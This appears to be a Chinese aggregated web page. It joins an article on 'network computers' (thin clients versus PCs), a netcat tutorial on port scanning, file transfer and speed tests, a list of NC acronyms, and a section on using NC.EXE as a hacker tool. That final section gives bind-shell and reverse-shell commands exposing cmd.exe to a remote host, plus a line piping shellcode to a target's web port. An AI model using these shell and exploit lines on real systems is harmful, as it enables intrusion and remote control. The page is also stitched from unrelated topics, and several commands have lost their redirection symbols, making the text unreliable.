网络攻防常见技术_NC网络攻防基本功能

hacker|
63

什么是NC?NC与PC的区别及它们各自的优缺点?

网络计算机网络计算机(Network computer缩写NC)PC是近几十年来对人类社会影响最大的一项发明,PC使计算机能方便地为个人所用,极大地扩展了计算机的应用。但PC并不是万能的,也不总是最佳的个人计算工具。例如,在移动通信环境下,人们需要有更小巧、更省电、和通信更好融合的“智能手机”,在网络应用环境下,人们需要有更紧凑、更安全、更易管理的NC。 PC的优势是有强大的处理能力和自由度,但PC也有缺点,在网络环境下,PC非常容易感染病毒或被黑客入侵,从而危害整个网络的安全。而且,数据存储在PC本地的安全性远不如存储在服务器上。所以,当安全和管理成为信息系统的首要考虑时,NC比PC更加适合作为客户机。 作为网络系统中的“瘦客户机”,NC主要依靠高速网络工作,目前,百兆以至千兆网络已普及,支持NC的网络基础设施已不成问题。NC一般没有本地的外存储设备和多余的端口,运行的软件和数据也都集中在服务器上,这样的NC作为网络节点,病毒和黑客非常难入侵,数据的安全性大大提高。由于NC能由系统管理员集中管理,一个管理员能轻松地管理成百上千的NC。此外,NC更有成本低,无噪声,高可靠等好处。当然,NC的缺点是没有PC那样强大的处理能力和自由度,不能独立工作,所以他不能代替PC。恰切地说,NC和PC各有所长,他们应该互相补充,适应不同的需求。 [2]网络计算机是在一定应用领域中和网络环境下,应用程序运行和数据存储都在服务器上,本身没有硬盘、软驱、光驱,并具有PC功能的一种低成本、免升级、免维护、便操作、权管理、强安全、高可靠的终端客户机。它能满足管理者和大众对信息处理和信息访问的需求,是各行业信息化应用细分的必然产物。 广泛应用于政府电子政务、军队专网、银行、 企事业单位和大、中、小学校以及家庭、居住小区等。 网络计算机是一种专用于网络计算环境下的终端设备。与PC相比没有硬盘、软驱、光驱等存储设备.它通过网络获取资源,应用软件和数据也都存放在服务器上。因为有这些特性,NC在教学中有以下优势: 1、权管理:网络计算机终端上没有任何存储设备,所有程序的运行都是在服务器上,这样就可以很方便的了解学生的状态,避免了学生上网聊天、玩游戏等等一些问题。此外,所有用户端的权限也都由服务器端控制,运行应用程序的控制和用户登陆计算机系统的控制,都可以在服务器端设置完成。 2、易维护:通过网络获取资源,是网络计算环境下的终端设备,不会出现PC机系统崩溃等现象,而且安装操作系统时很方便:60台NC机只需在3台服务器上安装操作系统,非常快捷。在安装或删除教学所使用软件时也非常简单,只需在服务器端操作即可。此外NC机系统使用简单,硬件集成稳定,基本无本地故障。故障率极低,很适合学校的使用。 3、低费用:从软件成本计算,网络电脑只需在服务器上安装程序,省去了大量购买软件的费用。比如OFFICE2003,一套OFFICE2003的价格是3100元,按一个机房60台机子计算PC机房需要186000元,网络电脑防机房仅需9300元。同理,很多商业软件仅需几套既可满足使用,费用大大降低。从硬件成本计算,网络电脑的结构简单:没有软驱、光驱和硬盘,同配置价格相比NC为PC的1/3。此外,NC的功率只有15W,是PC机的1/20,这又为使用单位节省了大量的电费。 NC机没有硬盘、软驱和光驱,操作系统和应用软件安装在服务器上,只需对服务器进行维护,而NC不需要维护,从而大大节省了成本。 总之,NC的优势主要是降低总拥有成本:与低价PC相比,在相似的使用效果下,两台NC的成本才相当于一台低价PC(包括分摊到每台NC上的服务器成本在内)。也就是说,用同样的投资,采用NC比采用PC可以多购买一倍的电脑,这对于发展中国家,当然格外重要。此外,硬件还不是成本的全部,在一个单位里,为建立、运行、维护和更新其计算机系统所需的总成本称为总拥有成本,即TCO(Total Cost of Ownership),其构成的四个要素是: ① 资金成本和非人力资源成本(包括部件、电子设备、软件费用等等)。 ② 技术支持成本,包括进行设计、安装、维护、修理和升级等等在内的所有人工成本。 ③ 管理成本,包括采购管理、技术管理(管理网络、服务器和桌面设备等等)的成本。 ④ 使用者操作成本,即使用者为学习和维护其系统而花费的时间成本。 据Zona Research公司的测算,一个包含15台PC机的系统在五年期间的TCO为217,663美元,折合到每台PC机为每年2,902美元,其中硬件成本只是TCO的13%,如图1所示。而同样的系统如采用NC,由于NC在管理、升级、安装、维护等等方面的突出优点,折合到每台NC上的TCO每年仅为1,258美元,与采用PC相比还不到一半。如果按照其他机构(包括著名的Gartner Group)的估算,一台PC每年的TCO高达7000-15,000美元,那么采用NC的节省还要多得多。由此可见,无论是从硬件成本还是从总拥有成本分析,采用NC的经济效益都是十分明显的。 [3] 4、强安全:网络电脑没有本地存储设备,不可能感染病毒。此外,在服务器上为每台机器分配资源,设定用户权限,每台机器独立一体,互不影响,可谓安全。还有在PC上因突然的软、硬件问题而造成工作资料丢失的现象,在使用网络电脑使用时不会发生。所有用户应用和存储的文件都在服务器上,用户正常或非正常退出不会丢失服务器上的数据。 5、便操作:网络计算机便操作易使用的特性表现在使用人员无须任何计算机应用知识即可熟练使用。使用者所需要做的事只有两件:1)打开电源;2)连接服务器。开关NC同家电一样简单。这对于没有一点计算机基础的学生来说无疑是非常是方便的。 6 、免升级:网络电脑采用了新的网络架构,相对于PC来说,终端客户机根本不需要升级。不管是硬件升级,还是软件升级,都只需要在服务器端完成,从而节省了大量人力物力。 7、低噪音:网络电脑无硬盘、光驱、软驱等机械运行部件,而且采用的嵌入式CPU发热量很小,不需要风扇散热,工作非常安静,无噪音。很适合学校的应用。[4] 用来在网络上使用的计算机,但去掉了传统的硬盘,软盘,光驱等部件,属于瘦形PC,由服务器提供网络上的程序或存储。网络计算机具有自己的处理能力,但除核心软件之外,其他软件都需从网络服务器下载,且由于所使用的全部数据都存储于服务器上,节省了频繁的软件升级和维护,也降低了成本NC(Network Computer )网络计算机也叫瘦客户机,是Oracle公司于1995年提出的,当时在计算机和通信界引起极大反响,同年便成立了“网络计算机联盟”。随后,IBM、Apple、 Netscape、 Oracle和Sun等五大厂商联合公布了NC的工业标准--《网络计算机参考简要特征》(简称NC-1规范),内容包括支持Java、HTML、FTP、TCP/IP以及CGI的规范。包括世界最大的消费类和商业电子设备生产商、通信厂商、软件开发商、无线系统生产商、微处理器生产商、外设制造商以及信用卡公司等70多家厂商立即表示支持制定这一技术规范。 NC模式是一种全新的C/S模式,在欧美很流行。NC模式称为终端服务(TERMINAL SERVICE)和基于WINDOWS的终端(WINDOWS-BASED TERMINAL,WBT)。NC除了没有硬盘、CD-ROM、软驱,其他与一台PC机没有什么差别,也拥有主板、内存、网卡、显卡、鼠标键盘接口、并口、串口、USB口。 NC采用的工作模式是C/S(CLIENT /SERVER)模式,由于没有硬盘所以终端所使用的全部数据是放在服务器上的,当NC登录到服务器以后,服务器会发送给终端一个早已设置好的用户界面以及适合该用户的一些应用程序,服务器接收由终端所发出的进行操作的鼠标键盘命令,然后将运算的结果图象发送回终端显示。采用NC进行工作,所有的升级工作和管理维护工作均集中在服务器端。 Linux与网络计算机NC在桌面计算机方面Linux的前景颇有争议。从世界范围来看,在这方面Linux的发展不快,现在不过只占桌面计算机的5%左右,有人因此怀疑它在这方面的前途。看来在发达国家,Linux在桌面计算机领域想和Windows抗衡是很难的,但是在中国,情况就不同了。因为在中国PC远没有普及,再加上Internet的推动,一种新的桌面计算机,即网络计算机或网络电脑(NC——Network Computer)正在兴起,这将是Linux在桌面计算机领域扩大份额的主要途径。 IT领域的产品含义往往会随着时间发生变化,1981年PC刚推出时,它只是IBM公司的个人计算机,但今天,PC可以覆盖一切采用Wintel结构的计算机,包括桌面计算机、便携式计算机、工作站和服务器等等。类似地,NC的含义也是随着时间变化的,在1995年Oracle的Ellison等人提出NC概念时,NC基本上与Java应用紧密地联系在一起。不过 Java的推广并不如预想的那样顺利,例如Corel公司曾计划把它的Office套装软件全部用Java改写,但很快就放弃了,同样,完全依赖于Java的NC也失败了。如果今天我们要对NC下一个新的定义,那么可以作这样的描述: NC是专用于宽带网络计算环境的瘦客户机,在这种环境中,应用程序和数据都存储在服务器上。NC本身除有人机交互必需的显示器和输入设备等,一般没有外部存储器(硬盘、光盘等)也很少有扩展口。NC支持多种工作模式、支持包括Windows、Unix、Linux等多种平台的应用软件。NC大多为非Wintel结构。 这个定义表明:NC一般带有10/100Mbit/S速率的Ethernet端口;“应用程序和数据都存储在服务器上”,这是包括微软的.Net策略在内的IT业界的发展趋势;NC的输入设备视实际需要,少的只有键盘、鼠标器,多的可有密码键盘、IC卡读卡机和其他的身分验证设备。应当指出,现在的NC可以支持多模式、跨平台,这是近来技术的新发展,它打破了NC当初只支持Java的局限性,并使NC能使用服务器上的Windows应用软件,有利于NC的推广。 由于NC本身体系结构不要求与Wintel兼容,从信息安全和性能价格比考虑,NC将“大多为非Wintel结构”。今后,当NC流行起来后,可能会有一些Wintel结构的PC被“减肥”成“瘦PC”(即拆除PC上的一些设备)与NC竞争,这时,NC相对于“瘦PC”的优势主要将是它的非Wintel结构。如果NC也是Wintel结构,那么它与“瘦PC”将没有多大差别,甚至可看作是PC的延伸。因此,NC之所以能成为一类新的桌面计算机,其重要理由正是在于:NC大多为非Wintel结构,而PC则是Wintel结构。虽然目前市场上的某些NC还达不到这里所描述的水平,但这样的NC已经是现在的技术所能做到的,因此很快地会出现在市场上。 人们会问,既然NC有那么多优点,那为什么NC没有流行呢?其实,我们已经提到,NC在前几年走了弯路;而且,高速网络环境的普及是近年来的事。NC自身的技术也在发展中,例如现在的NC能使用在服务器上运行的Windows程序,它是作为Windows的一个终端,这需要服务器有对“多用户”的支持,这是NT 4.0以上才有的功能。此外,NC最合理的工作模式是B/S(浏览器/服务器),这时它和PC没有什么差别,即在本地运行浏览器,在服务器上运行应用程序,但这种模式只是近年来才发展起来、并成为应用程序主流的。今后,随着网络计算环境的发展,NC的流行是迟早的事。 NC与PC的适用范围,可见这两类计算机是互相补充的,有的应用适宜用PC,有的应用适宜用NC,有的应用则二种计算机都可以使用。将来在一个单位里,这二种计算机可以混合使用。总之,在一个长时期里,这二种计算机会同时并存,它们在某些情况下又彼此竞争,这对于用户来说,不是一件坏事,恰恰相反,这给了用户更多的选择,也促使这二类计算机的性能价格比的不断改进。 在NC中采用Linux和在服务器等领域采用Linux带来的好处有相同的方面,但值得注意的是,在NC中采用Linux还带来某些特殊的好处,主要是,NC因此可以采用非Wintel的结构。换句话说,Linux 使非 Intel结构CPU得到了一个成熟的OS的支持,从而非 Wintel结构的计算机才能生存和发展。人们想必记得,90年代中,Motorola曾想用PowerPC芯片做成个人计算机机,虽然当时PowerPC芯片的性能超过了Intel的CPU,但由于微软的Windows 不支持PowerPC,这个计划就流产了。我国某地就有一个PowerPC个人计算机的生产线,刚建成还没有生产一台计算机就被废弃了。所以说,Intel结构CPU之所以能垄断PC领域,完全得益于微软OS的支持。反过来说,任何结构的CPU如果得不到微软OS的支持,也决不可能进入PC领域。 现在有了开放源码的Linux,它可以方便地移植到任何一种结构CPU上,使它立即得到Linux上大量应用软件的支持,这种新结构的CPU才有可能生存和发展。正因为如此,非Wintel的NC就可以发展起来。 对于中国而言,这意味着我们有可能去开发有自主知识产权的CPU,加上Linux的支持,就可以构成有自主核心技术的NC,当然,也可以构成其他各种的IA设备.所以Linux为我们发展自主知识产权的CPU创造了一个必要条件,推广Linux在这方面的意义,人们将会逐步认识。试想如果没有Linux,即使开发出了CPU,也将得不到成熟的OS的支持(微软当然不可能为此把Windows移植上来),这样的CPU只能是英雄无用武之地。 人们或许会问,为什么我们不能开发和Intel结构兼容的CPU呢?这样不就能运行Windows了吗?回答是否定的,主要理由是二条:一是技术难度,二是知识产权壁垒,都使此路不通。由此可见,Linux是我们发展自主知识产权CPU的前提,也是发展非Wintel结构NC的前提。 中国有巨大的市场,中国的PC远没有达到饱和,现在又进入了Internet时代,Linux的兴起将使中国的桌面计算机领域出现Wintel的PC和非Wintel的NC共存的局面。今后Internet愈发展,自主核心技术愈发展,NC的份额将愈大,中国的桌面计算机领域一定会出现和西方发达国家不同的格局。 NC的主要应用领域国务院信息化工作办公室、科技部、信息产业部在2003年初颁布的《电子政务工程技术指南》中规定:“在业务集中管理、安全性需求高的窗口服务型行业和内部办公系统,推荐使用网络计算机”。这里,强调了NC主要是应用在窗口服务型行业和内部办公系统。 内部办公系统虽然也能用PC,但PC的安全性较差,即使实行内网和外网“物理隔离”也不保险。目前,无线上网功能已成为笔记本计算机的常规功能,而无线接入点也比比皆是,无处不在的无线连接使“物理隔离”实际上非常难做到。除非是不用所有笔记本,并拆除计 算机上的所有无线接入设备,或将整个工作场所全部屏蔽起来,否则的话,“物理隔离”就是一句空话。显然,如果采用了NC就能消除上述这些隐患。 窗口服务型行业是非常普遍的,如金融、保险、税务、运输、邮政、……都是。这些应用系统都通过业务“窗口”和顾客联系,作为这类应用系统前端的“窗口型业务”基本上是固定不变的(一种或几种业务),他所实现的主要功能是:和顾客进行交互,进行身分验证, 制备票据等。通常,一个业务“窗口”需求有一定的本地处理和存储能力:能够输入数据和进行显示以实现交互作用;能和后端系统进行通信;能制备所需的票据:能联接作身分验证的设备(如密码键盘、读卡机、生物特征识别设备等)。目前,信息系统对于信息安全的要 求愈来愈高,业务“窗口”的数量又非常大,直接面向广大客户,因此提高业务“窗口”的安全性、可管理性,已成为信息系统中的一个重大问题。历史上,业务“窗口”采用字符终端构成,他作为后台主机的分时终端使用,这种字符终端功能非常弱,也容易管理。后来,随着 主机系统的衰退和PC机的兴起,PC机逐渐成了窗口型业务的主角。PC机有强大的功能,用他来应付窗口型业务当然绰绰有余,但PC机不安全、不易管理,在这类应用中,PC的富裕功能往往有害无益,因此窗口服务型行业选择NC是非常合理的。 广泛应用于政府、企事业单位、金融等行业的网络办公,农村信息化,酒店客房用机、学校电子教室和数字图书馆等领域。

认识nc,tcp/udp网络测试

什么是nc

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

nc的作用

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

(3)机器之间传输文件

(4)机器之间网络测速                                                                                                                                                                                                                        

nc的控制参数不少,常用的几个参数如下所列:

1) -l

用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。

2) -p port

暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)

3) -s

指定发送数据的源IP地址,适用于多网卡机 

4) -u

 指定nc使用UDP协议,默认为TCP

5) -v

输出交互或出错信息,新手调试时尤为有用

6)-w

超时秒数,后面跟数字 

7)-z

表示zero,表示扫描时不发送任何数据

前期准备

准备两台机器,用于测试nc命令的用法

主机A:ip地址 10.0.1.161

主机B:ip地址 10.0.1.162

两台机器先安装nc和nmap的包

yum install nc -y

yum install nmap -y

如果提示如下-bash: nc: command not found 表示没安装nc的包

nc用法1,网络连通性测试和端口扫描

 

nc可以作为server端启动一个tcp的监听(注意,此处重点是起tcp,下面还会讲udp)

先关闭A的防火墙,或者放行下面端口,然后测试B机器是否可以访问A机器启动的端口

在A机器上启动一个端口监听,比如 9999端口(注意:下面的-l 是小写的L,不是数字1)

默认情况下下面监听的是一个tcp的端口

nc -l 9999

客户端测试, 测试方法1

在B机器上telnet A机器此端口,如下显示表示B机器可以访问A机器此端口

客户端测试,测试方法2

B机器上也可以使用nmap扫描A机器的此端口

nmap 10.0.1.161 -p9999

客户端测试,测试方法3

使用nc命令作为客户端工具进行端口探测

nc -vz -w 2 10.0.1.161 9999

(-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字)

上面命令也可以写成

nc -vzw 2 10.0.1.161 9999

客户端测试,测试方法4(和方法3相似,但用处更大)

nc可以可以扫描连续端口,这个作用非常重要。常常可以用来扫描服务器端口,然后给服务器安全加固

在A机器上监听2个端口,一个9999,一个9998,使用符号丢入后台

在客户端B机器上扫描连续的两个端口,如下

nc作为server端启动一个udp的监听(注意,此处重点是起udp,上面主要讲了tcp)

启动一个udp的端口监听

nc  -ul  9998

复制当前窗口输入 netstat -antup |grep 9998 可以看到是启动了udp的监听

客户端测试,测试方法1

nc -vuz 10.0.1.161 9998

由于udp的端口无法在客户端使用telnet去测试,我们可以使用nc命令去扫描(前面提到nc还可以用来扫描端口)

(telnet是运行于tcp协议的)

(u表示udp端口,v表示可视化输出,z表示扫描时不发送数据)

上面在B机器扫描此端口的时候,看到A机器下面出现一串XXXXX字符串

客户端测试,测试方法2

nmap -sU 10.0.1.161 -p 9998 -Pn

(它暂无法测试nc启动的udp端口,每次探测nc作为server端启动的udp端口时,会导致对方退出侦听,有这个bug,对于一些程序启动的udp端口在使用nc扫描时不会有此bug)

下面,A机器启动一个udp的端口监听,端口为9998

在复制的窗口上可以确认已经在监听了

B机器使用nmap命令去扫描此udp端口,在扫描过程中,导致A机器的nc退出监听。所以显示端口关闭了(我推测是扫描时发数据导致的)

nmap -sU 10.0.1.161 -p 9998 -Pn

-sU :表示udp端口的扫描

-Pn :如果服务器禁PING或者放在防火墙下面的,不加-Pn 参数的它就会认为这个扫描的主机不存活就不会进行扫描了,如果不加-Pn就会像下面的结果一样,它也会进行提示你添加上-Pn参数尝试的

注意:如果A机器开启了防火墙,扫描结果可能会是下面状态。(不能确定对方是否有监听9998端口)

既然上面测试无法使用nmap扫描nc作为服务端启动的端口,我们可以使用nmap扫描其余的端口

(额,有点跑题了,讲nmap的用法了,没关系,主要为了说明nmap是也可以用来扫描udp端口的,只是扫描nc启动的端口会导致对方退出端口监听)

下面,A机器上rpcbind服务,监听在udp的111端口

在B机器上使用nmap扫描此端口,是正常的检测到处于open状态

客户端测试,测试方法3

nc扫描大量udp端口

扫描过程比较慢,可能是1秒扫描一个端口,下面表示扫描A机器的1到1000端口(暂未发现可以在一行命令中扫描分散的几个端口的方法)

nc -vuz 10.0.1.161 1-1000

nc用法2,使用nc传输文件和目录

方法1,传输文件演示(先启动接收命令)

使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了

把A机器上的一个rpm文件发送到B机器上

需注意操作次序,receiver先侦听端口,sender向receiver所在机器的该端口发送数据。  

步骤1,先在B机器上启动一个接收文件的监听,格式如下

意思是把赖在9995端口接收到的数据都写到file文件里(这里文件名随意取)

nc -l port file

nc -l 9995 zabbix.rpm

步骤2,在A机器上往B机器的9995端口发送数据,把下面rpm包发送过去

nc 10.0.1.162 9995 zabbix-release-2.4-1.el6.noarch.rpm

B机器接收完毕,它会自动退出监听,文件大小和A机器一样,md5值也一样

方法2,传输文件演示(先启动发送命令)

步骤1,先在B机器上,启动发送文件命令

下面命令表示通过本地的9992端口发送test.mv文件

nc -l 9992 test.mv

步骤2,A机器上连接B机器,取接收文件

下面命令表示通过连接B机器的9992端口接收文件,并把文件存到本目录下,文件名为test2.mv

nc 10.0.1.162 9992 test2.mv

方法3,传输目录演示(方法发送文件类似)

步骤1,B机器先启动监听,如下

A机器给B机器发送多个文件

传输目录需要结合其它的命令,比如tar

经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名

nc -l 9995 | tar xfvz -

步骤2,A机器打包文件并连接B机器的端口

管道前面表示把当前目录的所有文件打包为 - ,然后使用nc发送给B机器

tar cfz - * | nc 10.0.1.162 9995

B机器这边已经自动接收和解压

nc用法3,测试网速

测试网速其实利用了传输文件的原理,就是把来自一台机器的/dev/zero 发送给另一台机器的/dev/null

就是把一台机器的无限个0,传输给另一个机器的空设备上,然后新开一个窗口使用dstat命令监测网速

在这之前需要保证机器先安装dstat工具

yum install -y dstat

方法1,测试网速演示(先启动接收命令方式)

步骤1,A机器先启动接收数据的命令,监听自己的9991端口,把来自这个端口的数据都输出给空设备(这样不写磁盘,测试网速更准确)

nc -l 9991 /dev/null

步骤2,B机器发送数据,把无限个0发送给A机器的9991端口

nc 10.0.1.161 9991 /dev/zero

在复制的窗口上使用dstat命令查看当前网速,dstat命令比较直观,它可以查看当前cpu,磁盘,网络,内存页和系统的一些当前状态指标。

我们只需要看下面我选中的这2列即可,recv是receive的缩写,表示接收的意思,send是发送数据,另外注意数字后面的单位B,KB,MB

可以看到A机器接收数据,平均每秒400MB左右

B机器新打开的窗口上执行dstat,看到每秒发送400MB左右的数据

方法2,测试网速演示(先启动发送命令方式)

步骤1,先启动发送的数据,谁连接这个端口时就会接收来自zero设备的数据(二进制的无限个0)

nc -l 9990 /dev/zero

步骤2,下面B机器连接A机器的9990端口,把接收的数据输出到空设备上

nc 10.0.1.161 9990 /dev/null

同样可以使用dstat观察数据发送时的网速

copy:

nc 命令使用小结

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。比如大家很熟悉使用telnet测试tcp端口,而nc可以支持测试linux的tcp和udp端口,而且也经常被用于端口扫描,甚至把nc作为server以TCP或UDP方式侦听指定端口做简单的模拟测试。

2020年10月07日 - 初稿

阅读原文 -

ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

ncat / nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。

在大多数 Debian 发行版中, nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中, nc 并不会默认被安装。 你需要用下列命令手工安装。

nc的作用:

nc的控制参数不少,常用的几个参数如下所列:

用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。

暂未用到(老版本的nc可能需要在端口号前加-p参数)

指定发送数据的源IP地址,适用于多网卡机

指定nc使用UDP协议,默认为TCP

输出交互或出错信息,新手调试时尤为有用

6)-w

超时秒数,后面跟数字

7)-z

表示zero,表示扫描时不发送任何数据

作用:批量端口扫描,可根据扫描主机的配置调整后台扫描进程数量(手动执行后根据统计的执行时间调整脚本中关于进程数量的参数),通过定时任务作为简单的服务监控(可修改脚本添加其他报警功能,例如邮件等)

实现:使用nc指令扫描端口,使用管道特性控制后台扫描进程数量

不足:仅仅对扫描端口状态为down的信息做记录,并没有其他报警操作

使用:

10 useful ncat (nc) Command Examples for Linux Systems

nc命令用法举例

小nc是什么?

没见过啊,参考个这个

NC

=National Certificate 国家合格证;

National Coarse thread 美制粗牙螺纹;

Natural Convection 自然对流;

Network Control 网络控制;

Neutralizing Capacitor 中和电容器;

New Caledonia 新喀里多尼亚(岛)(南太平洋);

nitrocellulose;

No Change 无变化;

No Connection 不连接, 无关系;

Noise Criterion噪音标准;

Non-Condensing非凝结的;

North Carolina北卡罗来纳(州)[美];

Numerical Control 数字[值]控制

还有

NC也可以叫做瘦客户端

NC是网络计算机(Networke Computer) 的简称,是一类基于网络计算环境的计算设备,除了必要的人机交换设备(如监视器和输入)外,一般没有外部存储设备,也很少有扩展口,NC可以实现Internet功能,通过网络进行信息查询和信息处理。实用、廉价、管理方便,在服务器端统一升级是其显著特点。

NC是Oracle公司于1995年提出的,当时在计算机和通信界引起极大反响,同年便成立了“网络计算机联盟”。随后,IBM、Apple、 Netscape、 Oracle和Sun等五大厂商联合公布了NC的工业标准--《网络计算机参考简要特征》(简称NC-1规范),内容包括支持Java、HTML、FTP、TCP/IP以及CGI的规范。包括世界最大的消费类和商业电子设备生产商、通信厂商、软件开发商、无线系统生产商、微处理器生产商、外设制造商以及信用卡公司等70多家厂商立即表示支持制定这一技术规范。

NC.EXE 常被用作黑客工具。主要用法如下

1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令"|"与重定向命令""、""等等命令功能更强大......)。

================= 高级用法========================:

6)作攻击程序用,例子: 格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc-nvv192.168.x.x80讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\ex ploit.txt'的内容(两种格式确有相同的效果, 真是有异曲同工之妙:P) 附:'c:\exploit.txt'为shellcode等 7)作蜜罐用[1],例子: 格式:nc -L -p 80 讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止 8)作蜜罐用[2],例子: 格式:nc -L -p 80c:\log.txt 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把' gt;' 改为''即可以追加日志 附:'c:\log.txt'为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80

格式2:type.exe c:\honeypot.txt|nc -L -p 80 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容'送'入其 管道中

0条大神的评论

发表评论